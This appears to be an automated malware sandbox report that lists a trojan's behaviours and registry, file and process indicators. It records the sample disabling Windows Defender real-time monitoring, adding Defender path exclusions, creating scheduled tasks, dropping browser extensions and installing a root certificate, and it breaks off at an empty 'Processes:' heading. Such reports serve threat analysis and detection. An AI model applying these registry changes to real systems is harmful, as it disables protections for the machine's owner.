a3ff045a2e5c279bccc2c6f701daa5ae25dc9cd580d90817a3a2995d5f2bd4a3

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\CXdyuXxQU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\bOFQhydRtxUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\ShihPiYTNRQZVEffH = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\YnFPtusxCOTU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\RIEoyfpemMjlUPVB = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\MNBTbrbBidagOXts = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\LCSurMlfClMRC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Blocklisted process makes network request 6 IoCs

Processes:

rundll32.exe

flow pid process

29 1772 rundll32.exe
30 1772 rundll32.exe
31 1772 rundll32.exe
32 1772 rundll32.exe
33 1772 rundll32.exe
35 1772 rundll32.exe
Executes dropped EXE 4 IoCs

Processes:

Install.exeInstall.exeZKTDtoU.exeTLymoZp.exe

pid process

1020 Install.exe
2016 Install.exe
564 ZKTDtoU.exe
1880 TLymoZp.exe

flow	pid	process
29	1772	rundll32.exe
30	1772	rundll32.exe
31	1772	rundll32.exe
32	1772	rundll32.exe
33	1772	rundll32.exe
35	1772	rundll32.exe

pid	process
1020	Install.exe
2016	Install.exe
564	ZKTDtoU.exe
1880	TLymoZp.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	rundll32.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

TLymoZp.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2292972927-2705560509-2768824231-1000\Control Panel\International\Geo\Nation	TLymoZp.exe

Loads dropped DLL 12 IoCs

Processes:

file.exeInstall.exeInstall.exerundll32.exe

pid	process
2036	file.exe
1020	Install.exe
1020	Install.exe
1020	Install.exe
1020	Install.exe
2016	Install.exe
2016	Install.exe
2016	Install.exe
1772	rundll32.exe
1772	rundll32.exe
1772	rundll32.exe
1772	rundll32.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

Processes:

TLymoZp.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\manifest.json	TLymoZp.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\meejmcfbiapijdfaadackoblffmidlig\1.0.0.0\manifest.json	TLymoZp.exe

Drops file in System32 directory 23 IoCs

Processes:

TLymoZp.exepowershell.EXEpowershell.EXEZKTDtoU.exerundll32.exeInstall.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_57084D1D86D9F07AD164FDFDC2CB1CB3	TLymoZp.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA	TLymoZp.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	TLymoZp.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ZKTDtoU.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	ZKTDtoU.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_58589533BD741CABD9C6A1C2A7AAD4A1	TLymoZp.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	ZKTDtoU.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	rundll32.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2DDCD2B5F37625B82E81F4976CEE400_D29849B2B3CC9118078AA61A670027D9	TLymoZp.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	TLymoZp.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA	TLymoZp.exe

Drops file in Program Files directory 13 IoCs

Processes:

TLymoZp.exe

description	ioc	process
File created	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	TLymoZp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi	TLymoZp.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	TLymoZp.exe
File created	C:\Program Files (x86)\CXdyuXxQU\pghBaii.xml	TLymoZp.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\OrJacwy.xml	TLymoZp.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\UjFkaIf.xml	TLymoZp.exe
File created	C:\Program Files (x86)\CXdyuXxQU\NbfEav.dll	TLymoZp.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\VNSbofBEDaJvC.dll	TLymoZp.exe
File created	C:\Program Files (x86)\YnFPtusxCOTU2\eEkWpkc.xml	TLymoZp.exe
File created	C:\Program Files (x86)\VXhYlHHfTIOjvDnxzUR\PFbQVdx.dll	TLymoZp.exe
File created	C:\Program Files (x86)\LCSurMlfClMRC\EFeNNxp.dll	TLymoZp.exe
File created	C:\Program Files (x86)\bOFQhydRtxUn\kiEkZQN.dll	TLymoZp.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	TLymoZp.exe

Drops file in Windows directory 3 IoCs

Processes:

schtasks.exeschtasks.exeschtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\ErhcMqZyPKQzNnH.job	schtasks.exe
File created	C:\Windows\Tasks\NSdDFfEujjmGqHjBl.job	schtasks.exe
File created	C:\Windows\Tasks\beNJzxXkYGhzSCmkZn.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 13 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid	process
1900	schtasks.exe
1372	schtasks.exe
680	schtasks.exe
1880	schtasks.exe
1164	schtasks.exe
560	schtasks.exe
1776	schtasks.exe
1736	schtasks.exe
896	schtasks.exe
840	schtasks.exe
1416	schtasks.exe
740	schtasks.exe
1248	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

System Information Discovery

Processes:

Install.exerundll32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

TLymoZp.exerundll32.exewscript.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates	TLymoZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2e-61-41-c2-1a-05\WpadDecisionReason = "1"	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	TLymoZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2e-61-41-c2-1a-05\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	TLymoZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A6A4484E-82CA-4B36-8C95-BDDBA98AC720}\WpadDecisionReason = "1"	TLymoZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2e-61-41-c2-1a-05\WpadDecision = "0"	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	TLymoZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2e-61-41-c2-1a-05\WpadDecisionTime = d028614613d1d801	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CTLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	TLymoZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	TLymoZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	TLymoZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\2e-61-41-c2-1a-05	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	TLymoZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A6A4484E-82CA-4B36-8C95-BDDBA98AC720}\WpadDecision = "0"	TLymoZp.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	TLymoZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	TLymoZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A6A4484E-82CA-4B36-8C95-BDDBA98AC720}\WpadDecisionTime = d028614613d1d801	TLymoZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A6A4484E-82CA-4B36-8C95-BDDBA98AC720}\WpadNetworkName = "Network"	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A6A4484E-82CA-4B36-8C95-BDDBA98AC720}\2e-61-41-c2-1a-05	rundll32.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{A6A4484E-82CA-4B36-8C95-BDDBA98AC720}	TLymoZp.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	TLymoZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f0002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs	TLymoZp.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	TLymoZp.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CRLs	TLymoZp.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

Processes:

TLymoZp.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	TLymoZp.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	TLymoZp.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

